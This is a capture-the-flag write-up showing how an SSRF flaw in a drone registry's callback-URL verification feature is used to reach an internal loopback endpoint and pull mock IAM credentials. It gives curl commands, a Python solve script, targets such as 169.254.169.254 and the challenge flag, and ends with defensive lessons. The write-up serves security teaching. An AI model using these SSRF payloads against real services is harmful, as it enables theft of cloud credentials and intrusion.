drone_registry.gov
Challenge Description
Avian drone registry portal. Operator location verification service uses callback URLs. The pigeons know where everything is.
We're given deadrop.two-shoes.org/drones, a drone operator registry with a "location verification" feature that fetches operator-supplied callback URLs server-side.
Recon
The landing page source contains this comment:
<!-- internal IAM endpoint: 169.254.169.254/latest/meta-data/iam/security-credentials/ -->
<!-- fleet management role: deadrop-fleet-management-role -->
<!-- location verification uses operator-supplied callback URLs fetched server-side -->
Three key pieces: the metadata service address, the role name, and that the verification service fetches our URL from the server. The page footer also mentions:
"IAM credentials for fleet management accessible via internal metadata service. For credential rotation contact: [email protected] (internal network only)."
The verification bar on the landing page takes a URL and submits to /drones/verify. The hint text says "server fetches operator callback for GPS confirmation."
That's a textbook SSRF setup.
Confirming SSRF
Navigate to /drones/verify, without a URL, the hint text appears:
// standard cloud metadata address: 169.254.169.254
Try the AWS metadata address directly:
/drones/verify?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
This times out - 169.254.169.254 is a link-local address that only exists in real cloud environments. The server isn't running on AWS.
Try the loopback address instead:
/drones/verify?url=http://127.0.0.1:5000/drones/
The drone registry index page comes back in the response panel. SSRF confirmed, the server is fetching URLs and returning the response.
Finding the Internal Endpoint
The page source told us the role name: deadrop-fleet-management-role. AWS metadata IAM credential paths follow the pattern:
/latest/meta-data/iam/security-credentials/<role-name>
The challenge uses its own internal route structure. Hit the full endpoint:
http://127.0.0.1:5000/drones/internal/iam/security-credentials/deadrop-fleet-management-role
// FETCH ERROR
Connection error: HTTPConnectionPool(host='127.0.0.1', port=5000): Max retries exceeded with url: /drones/internal/iam/security-credentials/deadrop-fleet-management-role (Caused by NewConnectionError("HTTPConnection(host='127.0.0.1', port=5000): Failed to establish a new connection: [Errno 111] Connection refused"))
The site is not hosting on port 5000, what is a 4-5 digit port number that could be relevant to the challenge? DEAD = 3323 in T9, lets try that:
http://127.0.0.1:3323/drones/internal/iam/security-credentials/deadrop-fleet-management-role
Result
The response panel shows:
{
"AccessKeyId": "AKIA4DEADROPUNIT7XY",
"Code": "Success",
"Expiration": "2099-01-01T00:00:00Z",
"SecretAccessKey": "DEADROP{the_pigeons_were_real_all_along}",
"Token": "AQoXnyc4LLI//////////...",
"Type": "AWS-HMAC",
"fleet_size": 847,
"fleet_type": "avian",
"note": "If you are reading this you have found the avian fleet IAM credentials. The pigeons were real all along."
}
Why Direct Access Fails
Trying to hit the internal endpoint directly from a browser returns 403:
GET /drones/internal/iam/security-credentials/deadrop-fleet-management-role
→ 403: This endpoint is restricted to the fleet internal network.
External access is not permitted.
X-Fleet-Hint: Internal network access required - try the loopback interface
The endpoint checks the request's remote IP. Direct browser requests arrive from the player's IP. SSRF requests arrive from the server itself at 127.0.0.1. Same route, different access control outcome depending on who's asking.
Full Solve
# Confirm SSRF - fetch the registry index via loopback
curl "https://deadrop.two-shoes.org/drones/verify?url=http://127.0.0.1:3323/drones/"
# Enumerate available IAM roles
curl "https://deadrop.two-shoes.org/drones/verify?url=http://127.0.0.1:3323/drones/internal/iam/security-credentials/"
# Extract credentials
curl "https://deadrop.two-shoes.org/drones/verify?url=http://127.0.0.1:3323/drones/internal/iam/security-credentials/deadrop-fleet-management-role"
Or as a Python script:
import requests, re, json
BASE = "https://deadrop.two-shoes.org/drones"
# Confirm SSRF
r = requests.get(f"{BASE}/verify", params={"url": "http://127.0.0.1:3323/drones/"})
assert "DRONE REGISTRY" in r.text
# Extract credentials via SSRF
r = requests.get(f"{BASE}/verify", params={
"url": "http://127.0.0.1:3323/drones/internal/iam/security-credentials/deadrop-fleet-management-role"
})
# Flag is in the response body
flag = re.search(r"DEADROP\{[^}]+\}", r.text)
print(flag.group())
Key Takeaways
1. Never fetch user-supplied URLs server-side without validation. The verify endpoint needed a strict allowlist. Only registered operator callback domains should be fetchable. Even then, consider whether server-side fetching is necessary at all.
2. Metadata services are SSRF targets in cloud environments. 169.254.169.254 (AWS/GCP/Azure) and http://metadata.google.internal/ are classic targets. Any service running on cloud infrastructure with an SSRF vulnerability is potentially leaking IAM credentials, which often means full account compromise. AWS IMDSv2 adds token-based protection against this, but IMDSv1 (still common) is wide open.
3. Internal services trust the network, not the caller. The metadata endpoint checked the source IP, not a token or certificate. This is the classic confused deputy problem, the server acts on behalf of whoever can reach it, and SSRF lets attackers reach internal services that weren't supposed to be externally reachable.
4. Error messages enumerated the attack surface. The 404 on the base credentials path returned {"available": ["deadrop-fleet-management-role"]}. In a real environment this would be a finding on its own.
5. The 169.254.x.x timeout was a nudge, not a dead end. The timeout on the link-local address tells you the server is not running in a cloud VM, redirect attention to loopback. Real-world SSRF often requires trying multiple internal addresses: 127.0.0.1, localhost, 0.0.0.0, [::], 169.254.169.254, and internal DNS names as well as multiple ports, always think what numbers could be relevant to the site.
Flag
DEADROP{the_pigeons_were_real_all_along}